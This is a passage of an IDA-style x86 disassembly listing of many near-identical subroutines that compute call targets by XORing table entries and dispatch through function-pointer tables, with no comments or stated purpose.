		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A82DD
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A82DD:				; CODE XREF: sub_4A824C+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A824C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8349	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED97Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 58h
		mov	[ebp+var_2C], 0CBh
		mov	[ebp+var_28], 33h
		mov	[ebp+var_24], 0D2h
		mov	[ebp+var_20], 1Bh
		mov	[ebp+var_1C], 67h
		mov	[ebp+var_18], 0B2h
		mov	[ebp+var_14], 0A7h
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A83DA
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A83DA:				; CODE XREF: sub_4A8349+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8349	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8446	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED980o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0F2h
		mov	[ebp+var_2C], 0CDh
		mov	[ebp+var_28], 5Eh
		mov	[ebp+var_24], 0F4h
		mov	[ebp+var_20], 0C1h
		mov	[ebp+var_1C], 85h
		mov	[ebp+var_18], 73h
		mov	[ebp+var_14], 80h
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A84D7
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A84D7:				; CODE XREF: sub_4A8446+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8543	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED984o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 1Bh
		mov	[ebp+var_2C], 0CEh
		mov	[ebp+var_28], 95h
		mov	[ebp+var_24], 0B9h
		mov	[ebp+var_20], 96h
		mov	[ebp+var_1C], 0B2h
		mov	[ebp+var_18], 0D1h
		mov	[ebp+var_14], 32h
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A85D4
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A85D4:				; CODE XREF: sub_4A8543+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8640	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED988o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0B6h
		mov	[ebp+var_2C], 1Dh
		mov	[ebp+var_28], 7Fh
		mov	[ebp+var_24], 4
		mov	[ebp+var_20], 0B9h
		mov	[ebp+var_1C], 0C2h
		mov	[ebp+var_18], 0CFh
		mov	[ebp+var_14], 0B1h
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A86D1
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A86D1:				; CODE XREF: sub_4A8640+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A873D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED98Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Dh
		mov	[ebp+var_2C], 46h
		mov	[ebp+var_28], 0CEh
		mov	[ebp+var_24], 94h
		mov	[ebp+var_20], 94h
		mov	[ebp+var_1C], 62h
		mov	[ebp+var_18], 19h
		mov	[ebp+var_14], 0DBh
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A87CE
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A87CE:				; CODE XREF: sub_4A873D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A873D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A883A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED990o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 72h
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_28], 0E0h
		mov	[ebp+var_24], 5Bh
		mov	[ebp+var_20], 69h
		mov	[ebp+var_1C], 1Bh
		mov	[ebp+var_18], 0C9h
		mov	[ebp+var_14], 95h
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A88CB
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A88CB:				; CODE XREF: sub_4A883A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A883A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8937	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED994o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Ah
		mov	[ebp+var_2C], 7Ah
		mov	[ebp+var_28], 9Ah
		mov	[ebp+var_24], 39h
		mov	[ebp+var_20], 4Bh
		mov	[ebp+var_1C], 0ACh
		mov	[ebp+var_18], 0C5h
		mov	[ebp+var_14], 0C4h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A89C8
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A89C8:				; CODE XREF: sub_4A8937+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8937	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8A34	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED998o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A7h
		mov	[ebp+var_2C], 94h
		mov	[ebp+var_28], 1Eh
		mov	[ebp+var_24], 0E2h
		mov	[ebp+var_20], 16h
		mov	[ebp+var_1C], 0D8h
		mov	[ebp+var_18], 3Ch
		mov	[ebp+var_14], 54h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A8AC5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A8AC5:				; CODE XREF: sub_4A8A34+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8A34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8B31	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED99Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A8h
		mov	[ebp+var_2C], 0F6h
		mov	[ebp+var_28], 26h
		mov	[ebp+var_24], 88h
		mov	[ebp+var_20], 0Ch
		mov	[ebp+var_1C], 0E8h
		mov	[ebp+var_18], 2Bh
		mov	[ebp+var_14], 2Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A8BC2
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A8BC2:				; CODE XREF: sub_4A8B31+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8B31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8C2E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9A0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 2Dh
		mov	[ebp+var_2C], 1Dh
		mov	[ebp+var_28], 15h
		mov	[ebp+var_24], 54h
		mov	[ebp+var_20], 5Bh
		mov	[ebp+var_1C], 21h
		mov	[ebp+var_18], 36h
		mov	[ebp+var_14], 0DAh
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A8CBF
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A8CBF:				; CODE XREF: sub_4A8C2E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8C2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8D2B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9A4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
